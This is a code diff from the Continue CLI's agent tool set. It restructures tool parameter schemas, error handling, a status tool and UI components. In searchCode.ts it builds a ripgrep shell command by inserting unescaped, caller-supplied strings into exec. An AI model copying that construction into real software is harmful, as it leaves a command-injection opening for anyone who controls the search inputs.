const content = fs.readFileSync(realPath, "utf-8"); @@ -63,9 +70,14 @@ export const readFileTool: Tool = { return `Content of ${filepath}:\n${content}`; } catch (error) { - return `Error reading file: ${ - error instanceof Error ? error.message : String(error) - }`; + if (error instanceof ContinueError) { + throw error; + } + throw new Error( + `Error reading file: ${ + error instanceof Error ? error.message : String(error) + }`, + ); } }, }; diff --git a/extensions/cli/src/tools/runTerminalCommand.ts b/extensions/cli/src/tools/runTerminalCommand.ts index 726c86501..00204d55b 100644 --- a/extensions/cli/src/tools/runTerminalCommand.ts +++ b/extensions/cli/src/tools/runTerminalCommand.ts @@ -36,10 +36,13 @@ export const runTerminalCommandTool: Tool = { Commands are automatically executed from the current working directory (${process.cwd()}), so there's no need to change directories with 'cd' commands. `, parameters: { - command: { - type: "string", - description: "The command to execute in the terminal.", - required: true, + type: "object", + required: ["command"], + properties: { + command: { + type: "string", + description: "The command to execute in the terminal.", + }, }, }, readonly: false, diff --git a/extensions/cli/src/tools/searchAndReplace/index.ts b/extensions/cli/src/tools/searchAndReplace/index.ts deleted file mode 100644 index ddcffc7a7..000000000 --- a/extensions/cli/src/tools/searchAndReplace/index.ts +++ /dev/null @@ -1,190 +0,0 @@ -import * as fs from "fs"; - -import { telemetryService } from "../../telemetry/telemetryService.js"; -import { - calculateLinesOfCodeDiff, - getLanguageFromFilePath, -} from "../../telemetry/utils.js"; -import { Tool } from "../types.js"; -import { generateDiff } from "../writeFile.js"; - -import { findSearchMatch } from "./findSearchMatch.js"; -import { parseSearchAndReplaceArgs } from "./parseArgs.js"; -import { parseAllSearchReplaceBlocks } from "./parseBlock.js"; - -export interface SearchAndReplaceInFileArgs { - filepath: string; - diffs: string[]; -} - -// Currently unsupported and filtered out in `gui/src/redux/slices/sessionSlice.ts` -export const NO_PARALLEL_TOOL_CALLING_INSRUCTION = - "Note this tool CANNOT be called in parallel."; - -/** - * This tool is in an experimental state. - * Our starting point is heavily inspired by Cline's `replace_in_file` tool: https://github.com/cline/cline/blob/2709ccefcddc616e89a70962f017bcbbca1f17bf/src/core/prompts/system.ts#L87-L121 - */ -export const searchAndReplaceInFileTool: Tool = { - name: "Edit", - displayName: "Edit", - readonly: false, - isBuiltIn: true, - description: `Request to replace sections of content in an existing file using multiple SEARCH/REPLACE blocks that define exact changes to specific parts of the file. This tool should be used when you need to make targeted changes to specific parts of a file. ${NO_PARALLEL_TOOL_CALLING_INSRUCTION}`, - parameters: { - filepath: { - type: "string", - description: "The path to the file to edit", - required: true, - }, - diffs: { - type: "array", - items: { - type: "string", - }, - description: `An array of strings, each containing one or more SEARCH/REPLACE blocks following this exact format: -\`\`\` -------- SEARCH -[exact content to find] -======= -[new content to replace with] -+++++++ REPLACE -\`\`\` - -Critical rules: -1. SEARCH content must match the associated file section to find EXACTLY: - * Match character-for-character including whitespace, indentation, line endings - * Include all comments, docstrings, etc. -2. SEARCH/REPLACE blocks will ONLY replace the first match occurrence. - * Including multiple unique SEARCH/REPLACE blocks if you need to make multiple changes. - * Include *just* enough lines in each SEARCH section to uniquely match each set of lines that need to change. - * When using multiple SEARCH/REPLACE blocks, list them in the order they appear in the file. -3. **Order matters**: DIFFs in the array should be ordered from top to bottom of the file to ensure correct application. -4. Keep SEARCH/REPLACE blocks concise: - * Break large SEARCH/REPLACE blocks into a series of smaller blocks that each change a small portion of the file. - * Include just the changing lines, and a few surrounding lines if needed for uniqueness. - * Do not include long runs of unchanging lines in SEARCH/REPLACE blocks. - * Each line must be complete. Never truncate lines mid-way through as this can cause matching failures. -5. Splitting up tool calls: - * When making multiple closely related edits to the same file, you should try to use multiple SEARCH/REPLACE blocks in a single tool call, rather than making multiple separate tool calls - * If you need to make follow up edits or group your work into logical segments, it is okay to perform additional tool calls - * DO NOT make back-to-back tool calls. Instead interleave with brief explanation of what each will do. For example, instead of [explanation, tool call, tool call] you should do [explanation, tool call, explanation, tool call] -6. Special operations: - * To move code: Use two SEARCH/REPLACE blocks (one to delete from original + one to insert at new location) - * To delete code: Use empty REPLACE section - -Usage: -\`\`\` -------- SEARCH -[exact content to find] -======= -[new content to replace with] -+++++++ REPLACE - -------- SEARCH -[exact content to find] -======= -[new content to replace with] -+++++++ REPLACE - \`\`\` - -Each string in the diffs array can contain multiple SEARCH/REPLACE blocks, and all will be applied sequentially in the order they appear.`, - required: true, - }, - }, - preprocess: async (args) => { - // Get and validate args - const { filepath, diffs } = parseSearchAndReplaceArgs(args); - - // Get current file contents - if (!fs.existsSync(filepath)) { - throw new Error(`file ${filepath} does not exist`); - } - const oldContent = fs.readFileSync(filepath, "utf-8"); - let newContent = oldContent; - - // Parse blocks - const blocks = diffs.map(parseAllSearchReplaceBlocks).flat(); - if (blocks.length === 0) { - throw new Error("No complete search/replace blocks found in any diffs"); - } - - // Apply all replacements sequentially to build the final content - for (let i = 0; i < blocks.length; i++) { - const block = blocks[i]; - const { searchContent, replaceContent } = block; - - if (typeof searchContent === "undefined") { - throw new Error(`No search content defined for block ${i + 1}`); - } - if (typeof replaceContent === "undefined") { - throw new Error(`No replace content defined for block ${i + 1}`); - } - - const match = findSearchMatch(newContent, searchContent); - - if (!match) { - throw new Error( - `Search content not found in block ${i + 1}:\n${searchContent}`, - ); - } - - newContent = - newContent.substring(0, match.startIndex) + - replaceContent + - newContent.substring(match.endIndex); - } - - const diff = generateDiff(oldContent, newContent, filepath); - - return { - args: { - filepath, - newContent, - oldContent, // Just for telemetry later - }, - preview: [ - { - type: "text", - content: "Will make the following changes:", - }, - { - type: "diff", - content: diff, - }, - ], - }; - }, - run: async (args) => { - try { - fs.writeFileSync(args.filepath, args.newContent, "utf-8"); - - // Get lines for telemetry - const { added, removed } = calculateLinesOfCodeDiff( - args.oldContent, - args.newContent, - ); - const language = getLanguageFromFilePath(args.filepath); - - if (added > 0) { - telemetryService.recordLinesOfCodeModified("added", added, language); - } - if (removed > 0) { - telemetryService.recordLinesOfCodeModified( - "removed", - removed, - language, - ); - } - - // Record file operation - return `Successfully edited ${args.filepath}`; - } catch (error) { - throw new Error( - `Error: failed to edit ${args.filepath}:\n ${ - error instanceof Error ? error.message : String(error) - }`, - ); - } - }, -}; diff --git a/extensions/cli/src/tools/searchAndReplace/parseArgs.ts b/extensions/cli/src/tools/searchAndReplace/parseArgs.ts deleted file mode 100644 index 7fed362bd..000000000 --- a/extensions/cli/src/tools/searchAndReplace/parseArgs.ts +++ /dev/null @@ -1,34 +0,0 @@ -import * as path from "path"; - -export function parseSearchAndReplaceArgs(args: any): { - filepath: string; - diffs: string[]; -} { - const { filepath, diffs: diffsArg } = args; - - if (!filepath || !diffsArg) { - throw new Error("filepath and diffs args are required"); - } - - if (typeof filepath !== "string") { - throw new Error("filepath must be a string"); - } - - const diffs: string[] = []; - if (!Array.isArray(diffsArg)) { - throw new Error("diffs must be an array of string search/replace blocks"); - } - diffsArg.forEach((diff, i) => { - if (typeof diff !== "string") { - throw new Error(`Diff at ${i + 1} is not a string`); - } - diffs.push(diff); - }); - - const fixedPath = filepath.replace(/\/|\\/g, path.sep); - - return { - filepath: fixedPath, - diffs, - }; -} diff --git a/extensions/cli/src/tools/searchAndReplace/parseBlock.ts b/extensions/cli/src/tools/searchAndReplace/parseBlock.ts deleted file mode 100644 index 64fa901a2..000000000 --- a/extensions/cli/src/tools/searchAndReplace/parseBlock.ts +++ /dev/null @@ -1,147 +0,0 @@ -// Search and replace block markers using flexible regex patterns -const SEARCH_BLOCK_START_REGEX = /^[-]{3,} SEARCH$/; -const SEARCH_BLOCK_END_REGEX = /^[=]{3,}$/; -const REPLACE_BLOCK_END_REGEX = /^[+]{3,} REPLACE$/; - -export interface SearchReplaceBlockResult { - /** Whether a complete search/replace block has been parsed */ - isComplete: boolean; - /** The content to search for in the file */ - searchContent?: string; - /** The content to replace the search content with */ - replaceContent?: string; - /** Error message if parsing failed */ - error?: string; -} - -/** - * Parses a search and replace block from content. - * - * Expected format: - * ------- SEARCH - * [content to find] - * ======= - * [content to replace with] - * +++++++ REPLACE - * - * @param content - The content to parse - * @returns ParseResult with completion status and extracted content - */ -export function parseSearchReplaceBlock( - content: string, -): SearchReplaceBlockResult { - const lines = content.split("\n"); - - let currentSearchContent = ""; - let currentReplaceContent = ""; - let inSearch = false; - let inReplace = false; - - for (const line of lines) { - if (SEARCH_BLOCK_START_REGEX.test(line)) { - inSearch = true; - inReplace = false; - currentSearchContent = ""; - currentReplaceContent = ""; - continue; - } - - if (SEARCH_BLOCK_END_REGEX.test(line)) { - if (!inSearch) { - return { - isComplete: false, - error: "Found search block end marker without matching start marker", - }; - } - inSearch = false; - inReplace = true; - continue; - } - - if (REPLACE_BLOCK_END_REGEX.test(line)) { - if (!inReplace) { - return { - isComplete: false, - error: - "Found replace block end marker without matching replace start marker", - }; - } - - // Complete block found - return { - isComplete: true, - searchContent: currentSearchContent.trim(), - replaceContent: currentReplaceContent.trim(), - }; - } - - // Accumulate content - if (inSearch) { - currentSearchContent += line + "\n"; - } else if (inReplace) { - currentReplaceContent += line + "\n"; - } - } - - // Block is not yet complete - return { - isComplete: false, - searchContent: currentSearchContent.trim(), - replaceContent: currentReplaceContent.trim(), - }; -} - -/** - * Parses all complete search and replace blocks from content. - * - * @param content - The content containing multiple search/replace blocks - * @returns Array of complete search/replace blocks found - * @throws Error if any malformed blocks are encountered - */ -export function parseAllSearchReplaceBlocks( - content: string, -): SearchReplaceBlockResult[] { - const blocks: SearchReplaceBlockResult[] = []; - const lines = content.split("\n"); - - let currentBlockLines: string[] = []; - let inBlock = false; - - for (const line of lines) { - if (SEARCH_BLOCK_START_REGEX.test(line)) { - // Start of new block - if (inBlock && currentBlockLines.length > 0) { - // Process previous incomplete block if any - const blockContent = currentBlockLines.join("\n"); - const result = parseSearchReplaceBlock(blockContent); - if (result.isComplete) { - blocks.push(result); - } else if (result.error) { - // Fail fast on any parsing error - throw new Error(result.error); - } - // If incomplete but no error, it's just a partial block - continue processing - } - currentBlockLines = [line]; - inBlock = true; - } else if (inBlock) { - currentBlockLines.push(line); - - // Check if this line completes the current block - if (REPLACE_BLOCK_END_REGEX.test(line)) { - const blockContent = currentBlockLines.join("\n"); - const result = parseSearchReplaceBlock(blockContent); - if (result.isComplete) { - blocks.push(result); - } else if (result.error) { - // Fail fast on any parsing error - throw new Error(result.error); - } - currentBlockLines = []; - inBlock = false; - } - } - } - - return blocks; -} diff --git a/extensions/cli/src/tools/searchCode.ts b/extensions/cli/src/tools/searchCode.ts index 3eefe6434..76b500ce6 100644 --- a/extensions/cli/src/tools/searchCode.ts +++ b/extensions/cli/src/tools/searchCode.ts @@ -2,6 +2,8 @@ import * as child_process from "child_process"; import * as fs from "fs"; import * as util from "util"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; + import { Tool } from "./types.js"; const execPromise = util.promisify(child_process.exec); @@ -14,20 +16,21 @@ export const searchCodeTool: Tool = { displayName: "Search", description: "Search the codebase using ripgrep (rg) for a specific pattern", parameters: { - pattern: { - type: "string", - description: "The search pattern to look for", - required: true, - }, - path: { - type: "string", - description: "The path to search in (defaults to current directory)", - required: false, - }, - file_pattern: { - type: "string", - description: "Optional file pattern to filter results (e.g., '*.ts')", - required: false, + type: "object", + required: ["pattern"], + properties: { + pattern: { + type: "string", + description: "The search pattern to look for", + }, + path: { + type: "string", + description: "The path to search in (defaults to current directory)", + }, + file_pattern: { + type: "string", + description: "Optional file pattern to filter results (e.g., '*.ts')", + }, }, }, readonly: true, @@ -52,64 +55,66 @@ export const searchCodeTool: Tool = { path?: string; file_pattern?: string; }): Promise => { + const searchPath = args.path || process.cwd(); + if (!fs.existsSync(searchPath)) { + throw new ContinueError( + ContinueErrorReason.Unspecified, + `Path does not exist: ${searchPath}`, + ); + } + + let command = `rg --line-number --with-filename --color never "${args.pattern}"`; + + if (args.file_pattern) { + command += ` -g "${args.file_pattern}"`; + } + + command += ` "${searchPath}"`; try { - const searchPath = args.path || process.cwd(); - if (!fs.existsSync(searchPath)) { - return `Error: Path does not exist: ${searchPath}`; + const { stdout, stderr } = await execPromise(command); + + if (stderr) { + return `Warning during search: ${stderr}\n\n${stdout}`; } - let command = `rg --line-number --with-filename --color never "${args.pattern}"`; - - if (args.file_pattern) { - command += ` -g "${args.file_pattern}"`; - } - - command += ` "${searchPath}"`; - try { - const { stdout, stderr } = await execPromise(command); - - if (stderr) { - return `Warning during search: ${stderr}\n\n${stdout}`; - } - - if (!stdout.trim()) { - return `No matches found for pattern "${args.pattern}"${ - args.file_pattern ? ` in files matching "${args.file_pattern}"` : "" - }.`; - } - - // Split the results into lines and limit the number of results - const lines = stdout.split("\n"); - const truncated = lines.length > DEFAULT_MAX_RESULTS; - const limitedLines = lines.slice(0, DEFAULT_MAX_RESULTS); - const resultText = limitedLines.join("\n"); - - const truncationMessage = truncated - ? `\n\n[Results truncated: showing ${DEFAULT_MAX_RESULTS} of ${lines.length} matches]` - : ""; - - return `Search results for pattern "${args.pattern}"${ + if (!stdout.trim()) { + return `No matches found for pattern "${args.pattern}"${ args.file_pattern ? ` in files matching "${args.file_pattern}"` : "" - }:\n\n${resultText}${truncationMessage}`; - } catch (error: any) { - if (error.code === 1) { - return `No matches found for pattern "${args.pattern}"${ - args.file_pattern ? ` in files matching "${args.file_pattern}"` : "" - }.`; - } - if (error instanceof Error) { - if (error.message.includes("command not found")) { - return `Error: ripgrep is not installed.`; - } - } - return `Error executing ripgrep: ${ - error instanceof Error ? error.message : String(error) - }`; + }.`; } - } catch (error) { - return `Error searching code: ${ - error instanceof Error ? error.message : String(error) - }`; + + // Split the results into lines and limit the number of results + const lines = stdout.split("\n"); + const truncated = lines.length > DEFAULT_MAX_RESULTS; + const limitedLines = lines.slice(0, DEFAULT_MAX_RESULTS); + const resultText = limitedLines.join("\n"); + + const truncationMessage = truncated + ? `\n\n[Results truncated: showing ${DEFAULT_MAX_RESULTS} of ${lines.length} matches]` + : ""; + + return `Search results for pattern "${args.pattern}"${ + args.file_pattern ? ` in files matching "${args.file_pattern}"` : "" + }:\n\n${resultText}${truncationMessage}`; + } catch (error: any) { + if (error instanceof ContinueError) { + throw error; + } + if (error.code === 1) { + return `No matches found for pattern "${args.pattern}"${ + args.file_pattern ? ` in files matching "${args.file_pattern}"` : "" + }.`; + } + if (error instanceof Error) { + if (error.message.includes("command not found")) { + throw new Error(`ripgrep is not installed.`); + } + } + throw new Error( + `Error executing ripgrep: ${ + error instanceof Error ? error.message : String(error) + }`, + ); } }, }; diff --git a/extensions/cli/src/tools/status.ts b/extensions/cli/src/tools/status.ts new file mode 100644 index 000000000..c75eec837 --- /dev/null +++ b/extensions/cli/src/tools/status.ts @@ -0,0 +1,88 @@ +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; + +import { + ApiRequestError, + AuthenticationRequiredError, + post, +} from "../util/apiClient.js"; +import { logger } from "../util/logger.js"; + +import { Tool } from "./types.js"; + +/** + * Extract the agent ID from the --id command line flag + */ +function getAgentIdFromArgs(): string | undefined { + const args = process.argv; + const idIndex = args.indexOf("--id"); + if (idIndex !== -1 && idIndex + 1 < args.length) { + return args[idIndex + 1]; + } + return undefined; +} + +export const statusTool: Tool = { + name: "Status", + displayName: "Status", + description: `Set the current status of your task for the user to see + +The default available statuses are: +- PLANNING: You are creating a plan before beginning implementation +- WORKING: The task is in progress +- DONE: The task is complete +- BLOCKED: You need further information from the user in order to proceed + +However, if the user explicitly specifies in their prompt to use one or more different statuses, you can use those as well. + +You should use this tool to notify the user whenever the state of your work changes. By default, the status is assumed to be "PLANNING" prior to you setting a different status.`, + parameters: { + type: "object", + required: ["status"], + properties: { + status: { + type: "string", + description: "The status value to set", + }, + }, + }, + readonly: true, + isBuiltIn: true, + run: async (args: { status: string }): Promise => { + try { + // Get agent ID from --id flag + const agentId = getAgentIdFromArgs(); + if (!agentId) { + const errorMessage = + "Agent ID is required. Please use the --id flag with cn serve."; + logger.error(errorMessage); + throw new ContinueError(ContinueErrorReason.Unspecified, errorMessage); + } + + // Call the API endpoint using shared client + await post(`agents/${agentId}/status`, { status: args.status }); + + logger.info(`Status: ${args.status}`); + return `Status set: ${args.status}`; + } catch (error) { + if (error instanceof ContinueError) { + throw error; + } + + if (error instanceof AuthenticationRequiredError) { + logger.error(error.message); + throw new Error("Error: Authentication required"); + } + + if (error instanceof ApiRequestError) { + throw new Error( + `Error setting status: ${error.status} ${error.response || error.statusText}`, + ); + } + + const errorMessage = + error instanceof Error ? error.message : String(error); + logger.error(`Error setting status: ${errorMessage}`); + throw new Error(`Error setting status: ${errorMessage}`); + } + }, +}; diff --git a/extensions/cli/src/tools/types.ts b/extensions/cli/src/tools/types.ts index 04c164ad4..5adb45a92 100644 --- a/extensions/cli/src/tools/types.ts +++ b/extensions/cli/src/tools/types.ts @@ -1,16 +1,23 @@ import type { ToolPolicy } from "@continuedev/terminal-security"; -export type ToolParameters = Record< - string, - { +// JSON Schema compatible parameter definition +export interface ParameterSchema { + type: string; + description: string; + required?: string[]; + properties?: Record; + items?: { type: string; - description: string; - required: boolean; - items?: { - type: string; - }; - } ->; + properties?: Record; + required?: string[]; + }; +} + +export interface ToolParametersSchema { + type: "object"; + required?: string[]; + properties: Record; +} export interface ToolCallPreview { type: "text" | "diff" | "checklist"; @@ -28,7 +35,7 @@ export interface Tool { name: string; displayName: string; description: string; - parameters: ToolParameters; + parameters: ToolParametersSchema; preprocess?: (args: any) => Promise; run: (args: any) => Promise; readonly?: boolean; // Indicates if the tool is readonly diff --git a/extensions/cli/src/tools/viewDiff.ts b/extensions/cli/src/tools/viewDiff.ts index f8c9d2ff3..8b9f12d1d 100644 --- a/extensions/cli/src/tools/viewDiff.ts +++ b/extensions/cli/src/tools/viewDiff.ts @@ -11,11 +11,13 @@ export const viewDiffTool: Tool = { displayName: "Diff", description: "View all uncommitted changes in the git repository", parameters: { - path: { - type: "string", - description: - "The path to the git repository (defaults to current directory)", - required: false, + type: "object", + properties: { + path: { + type: "string", + description: + "The path to the git repository (defaults to current directory)", + }, }, }, readonly: true, diff --git a/extensions/cli/src/tools/writeChecklist.test.ts b/extensions/cli/src/tools/writeChecklist.test.ts index 5040acfd0..f7638442f 100644 --- a/extensions/cli/src/tools/writeChecklist.test.ts +++ b/extensions/cli/src/tools/writeChecklist.test.ts @@ -16,7 +16,8 @@ describe("writeChecklistTool", () => { expect(writeChecklistTool.displayName).toBe("Checklist"); expect(writeChecklistTool.readonly).toBe(false); expect(writeChecklistTool.isBuiltIn).toBe(true); - expect(writeChecklistTool.parameters.checklist.required).toBe(true); - expect(writeChecklistTool.parameters.checklist.type).toBe("string"); + expect(writeChecklistTool.parameters.required?.includes("checklist")).toBe( + true, + ); }); }); diff --git a/extensions/cli/src/tools/writeChecklist.ts b/extensions/cli/src/tools/writeChecklist.ts index 264fbfcd8..d2ca3b2c8 100644 --- a/extensions/cli/src/tools/writeChecklist.ts +++ b/extensions/cli/src/tools/writeChecklist.ts @@ -8,11 +8,14 @@ export const writeChecklistTool: Tool = { readonly: false, isBuiltIn: true, parameters: { - checklist: { - type: "string", - description: - "The complete checklist in markdown format using - [ ] for incomplete tasks and - [x] for completed tasks. Avoid headers and additional content unless specifically being used to group checkboxes. Try to keep the list short, and make each item specific and actionable.", - required: true, + type: "object", + required: ["checklist"], + properties: { + checklist: { + type: "string", + description: + "The complete checklist in markdown format using - [ ] for incomplete tasks and - [x] for completed tasks. Avoid headers and additional content unless specifically being used to group checkboxes. Try to keep the list short, and make each item specific and actionable.", + }, }, }, preprocess: async (args: { checklist: string }) => { diff --git a/extensions/cli/src/tools/writeFile.ts b/extensions/cli/src/tools/writeFile.ts index f1404386f..20ecd491f 100644 --- a/extensions/cli/src/tools/writeFile.ts +++ b/extensions/cli/src/tools/writeFile.ts @@ -1,6 +1,7 @@ import * as fs from "fs"; import * as path from "path"; +import { ContinueError, ContinueErrorReason } from "core/util/errors.js"; import { createTwoFilesPatch } from "diff"; import { telemetryService } from "../telemetry/telemetryService.js"; @@ -32,30 +33,39 @@ export const writeFileTool: Tool = { displayName: "Write", description: "Write content to a file at the specified path", parameters: { - filepath: { - type: "string", - description: "The path to the file to write", - required: true, - }, - content: { - type: "string", - description: "The content to write to the file", - required: true, + type: "object", + required: ["filepath", "content"], + properties: { + filepath: { + type: "string", + description: "The path to the file to write", + }, + content: { + type: "string", + description: "The content to write to the file", + }, }, }, readonly: false, isBuiltIn: true, preprocess: async (args) => { + const filepath = args?.filepath; + const content = args?.content ?? ""; + if (typeof filepath !== "string") { + throw new Error("Filepath must be a string"); + } + if (typeof content !== "string") { + throw new Error("New file content must be a string"); + } try { - if (fs.existsSync(args.filepath)) { - const oldContent = fs.readFileSync(args.filepath, "utf-8"); - const newContent = args.content; + if (fs.existsSync(filepath)) { + const oldContent = fs.readFileSync(filepath, "utf-8"); const diff = createTwoFilesPatch( args.filepath, args.filepath, oldContent, - newContent, + content, undefined, undefined, { context: 2 }, @@ -78,7 +88,7 @@ export const writeFileTool: Tool = { } catch { // do nothing } - const lines: string[] = args.content.split("\n"); + const lines: string[] = content.split("\n"); const previewLines = lines.slice(0, 3); const preview: ToolCallPreview[] = [ @@ -100,7 +110,10 @@ export const writeFileTool: Tool = { } return { - args, + args: { + filepath, + content, + }, preview, }; }, @@ -157,10 +170,15 @@ export const writeFileTool: Tool = { return `Successfully created file: ${args.filepath}`; } } catch (error) { - const errorMessage = - error instanceof Error ? error.message : String(error); - - return `Error writing to file: ${errorMessage}`; + if (error instanceof ContinueError) { + throw error; + } + throw new ContinueError( + ContinueErrorReason.FileWriteError, + `Error writing to file: ${ + error instanceof Error ? error.message : String(error) + }`, + ); } }, }; diff --git a/extensions/cli/src/ui/ColoredDiff.tsx b/extensions/cli/src/ui/ColoredDiff.tsx index a0c7b8d98..f1ca6c321 100644 --- a/extensions/cli/src/ui/ColoredDiff.tsx +++ b/extensions/cli/src/ui/ColoredDiff.tsx @@ -8,7 +8,7 @@ const COLORS = { DELETION_BG: "#712f37", ADDITION_HIGHLIGHT: "#59a467", DELETION_HIGHLIGHT: "#a75e6d", - LINE_NUMBER: "gray", + LINE_NUMBER: "dim", } as const; interface DiffLine { @@ -179,7 +179,7 @@ export const ColoredDiff: React.FC<{ diffContent: string }> = ({ const parsedLines = parseDiffWithLineNumbers(diffContent); if (parsedLines.length === 0) { - return No changes detected.; + return No changes detected.; } const displayableLines = parsedLines.filter( @@ -269,7 +269,7 @@ export const ColoredDiff: React.FC<{ diffContent: string }> = ({ } })} {isTruncated && ( - + ... ({displayableLines.length - 16} more lines) )} diff --git a/extensions/cli/src/ui/EditMessageSelector.test.tsx b/extensions/cli/src/ui/EditMessageSelector.test.tsx new file mode 100644 index 000000000..c56bec21a --- /dev/null +++ b/extensions/cli/src/ui/EditMessageSelector.test.tsx @@ -0,0 +1,202 @@ +/** + * @vitest-environment jsdom + */ +import { render } from "@testing-library/react"; +import type { ChatHistoryItem } from "core/index.js"; +import React from "react"; +import { describe, it, expect, vi, beforeEach } from "vitest"; + +import { EditMessageSelector } from "./EditMessageSelector.js"; + +describe("EditMessageSelector", () => { + const createMockChatHistory = (count: number): ChatHistoryItem[] => { + const history: ChatHistoryItem[] = []; + for (let i = 0; i < count; i++) { + // Alternate between user and assistant messages + if (i % 2 === 0) { + history.push({ + message: { role: "user", content: `User message ${i + 1}` }, + contextItems: [], + }); + } else { + history.push({ + message: { role: "assistant", content: `Assistant message ${i + 1}` }, + contextItems: [], + }); + } + } + return history; + }; + + let mockOnEdit: ReturnType; + let mockOnExit: ReturnType; + + beforeEach(() => { + mockOnEdit = vi.fn(); + mockOnExit = vi.fn(); + vi.clearAllMocks(); + }); + + describe("Initialization", () => { + it("should render 'no user messages' when chat history is empty", () => { + const { container } = render( + , + ); + + expect(container.textContent).toContain("No user messages to edit"); + }); + + it("should render 'no user messages' when chat history has only assistant messages", () => { + const chatHistory: ChatHistoryItem[] = [ + { + message: { role: "assistant", content: "Hello" }, + contextItems: [], + }, + ]; + + const { container } = render( + , + ); + + expect(container.textContent).toContain("No user messages to edit"); + }); + + it("should render user messages list", () => { + const chatHistory = createMockChatHistory(4); // Will have 2 user messages + + const { container } = render( + , + ); + + expect(container.textContent).toContain("Message 1:"); + expect(container.textContent).toContain("Message 2:"); + expect(container.textContent).toContain("User message 1"); + expect(container.textContent).toContain("User message 3"); + }); + + it("should filter out non-user messages", () => { + const chatHistory: ChatHistoryItem[] = [ + { message: { role: "user", content: "User 1" }, contextItems: [] }, + { + message: { role: "assistant", content: "Assistant 1" }, + contextItems: [], + }, + { message: { role: "system", content: "System 1" }, contextItems: [] }, + { message: { role: "user", content: "User 2" }, contextItems: [] }, + ]; + + const { container } = render( + , + ); + + // Should only show 2 user messages + expect(container.textContent).toContain("User 1"); + expect(container.textContent).toContain("User 2"); + expect(container.textContent).not.toContain("Assistant 1"); + expect(container.textContent).not.toContain("System 1"); + }); + + it("should show instruction text in selection mode", () => { + const chatHistory = createMockChatHistory(2); + + const { container } = render( + , + ); + + expect(container.textContent).toContain("↑/↓ to navigate"); + expect(container.textContent).toContain("Enter to edit"); + expect(container.textContent).toContain("Esc to exit"); + }); + }); + + describe("Message preview", () => { + it("should truncate long messages in preview", () => { + const longMessage = "a".repeat(100); + const chatHistory: ChatHistoryItem[] = [ + { message: { role: "user", content: longMessage }, contextItems: [] }, + ]; + + const { container } = render( + , + ); + + // Should show truncation indicator + expect(container.textContent).toContain("..."); + // Should not show full message (preview is limited to 60 chars) + expect(container.textContent).not.toContain(longMessage); + }); + + it("should show only first line in multiline message preview", () => { + const multilineMessage = "First line\nSecond line\nThird line"; + const chatHistory: ChatHistoryItem[] = [ + { + message: { role: "user", content: multilineMessage }, + contextItems: [], + }, + ]; + + const { container } = render( + , + ); + + expect(container.textContent).toContain("First line"); + expect(container.textContent).not.toContain("Second line"); + }); + }); + + describe("Complex message content", () => { + it("should handle message parts array", () => { + const chatHistory: ChatHistoryItem[] = [ + { + message: { + role: "user", + content: [ + { type: "text", text: "Hello" }, + { type: "text", text: " world" }, + ], + } as any, + contextItems: [], + }, + ]; + + const { container } = render( + , + ); + + // Should render something (component handles non-string content gracefully) + expect(container.textContent).toBeDefined(); + }); + }); +}); diff --git a/extensions/cli/src/ui/EditMessageSelector.tsx b/extensions/cli/src/ui/EditMessageSelector.tsx new file mode 100644 index 000000000..60c8a23c0 --- /dev/null +++ b/extensions/cli/src/ui/EditMessageSelector.tsx @@ -0,0 +1,292 @@ +import { Box, Text, useInput } from "ink"; +import React, { useMemo, useState } from "react"; + +import type { ChatHistoryItem } from "../../../../core/index.js"; + +import { defaultBoxStyles } from "./styles.js"; +import { TextBuffer } from "./TextBuffer.js"; + +// Infer the Key type from useInput's callback parameters +type UseInputHandler = Parameters[0]; +type Key = Parameters[1]; + +interface EditMessageSelectorProps { + chatHistory: ChatHistoryItem[]; + onEdit: (messageIndex: number, newContent: string) => void; + onExit: () => void; +} + +export function EditMessageSelector({ + chatHistory, + onEdit, + onExit, +}: EditMessageSelectorProps) { + // Filter to only show user messages + const userMessages = useMemo(() => { + return chatHistory + .map((item, originalIndex) => ({ item, originalIndex })) + .filter(({ item }) => item.message.role === "user"); + }, [chatHistory]); + + const [selectedIndex, setSelectedIndex] = useState( + Math.max(0, userMessages.length - 1), + ); + const [isEditing, setIsEditing] = useState(false); + const [textBuffer] = useState(() => new TextBuffer()); + const [editText, setEditText] = useState(""); + const [cursorPosition, setCursorPosition] = useState(0); + + // Stable callback for TextBuffer state changes (e.g., paste finalization) + const onStateChange = React.useCallback(() => { + setEditText(textBuffer.text); + setCursorPosition(textBuffer.cursor); + }, [textBuffer]); + + // Set up callback for when TextBuffer state changes asynchronously + React.useEffect(() => { + textBuffer.setStateChangeCallback(onStateChange); + + return () => { + // Clear any pending timers on unmount + textBuffer.clear(); + }; + }, [textBuffer, onStateChange]); + + // Initialize edit text when selection changes + React.useEffect(() => { + if (!isEditing && userMessages[selectedIndex]) { + const content = + typeof userMessages[selectedIndex].item.message.content === "string" + ? userMessages[selectedIndex].item.message.content + : ""; + textBuffer.setText(content); + setEditText(content); + setCursorPosition(content.length); + } + }, [selectedIndex, isEditing, userMessages, textBuffer]); + + // Helper to get message content safely + const getMessageContent = React.useCallback( + (index: number): string => { + return typeof userMessages[index]?.item.message.content === "string" + ? userMessages[index].item.message.content + : ""; + }, + [userMessages], + ); + + // Handle input when in editing mode + const handleEditModeInput = React.useCallback( + (input: string, key: Key) => { + if (key.escape) { + setIsEditing(false); + // Reset text to original + const content = getMessageContent(selectedIndex); + textBuffer.setText(content); + setEditText(content); + setCursorPosition(content.length); + } else if (key.return && !key.shift) { + // Submit the edit + // Expand all paste blocks before submission to restore original content + textBuffer.expandAllPasteBlocks(); + const trimmedText = textBuffer.text.trim(); + if (trimmedText && userMessages[selectedIndex]) { + onEdit(userMessages[selectedIndex].originalIndex, trimmedText); + } + } else if (key.return && key.shift) { + // Handle newline + textBuffer.handleInput("\n", key); + setEditText(textBuffer.text); + setCursorPosition(textBuffer.cursor); + } else { + // Let TextBuffer handle the input + textBuffer.handleInput(input, key); + setEditText(textBuffer.text); + setCursorPosition(textBuffer.cursor); + } + }, + [ + getMessageContent, + selectedIndex, + textBuffer, + userMessages, + onEdit, + setIsEditing, + setEditText, + setCursorPosition, + ], + ); + + // Handle input when in navigation mode + const handleNavigationInput = React.useCallback( + (input: string, key: Key) => { + if (key.upArrow || input === "k") { + // Only navigate if there are messages + if (userMessages.length > 0) { + setSelectedIndex((prev) => + prev > 0 ? prev - 1 : userMessages.length - 1, + ); + } + } else if (key.downArrow || input === "j") { + // Only navigate if there are messages + if (userMessages.length > 0) { + setSelectedIndex((prev) => + prev < userMessages.length - 1 ? prev + 1 : 0, + ); + } + } else if (key.return) { + // Start editing the selected message - set 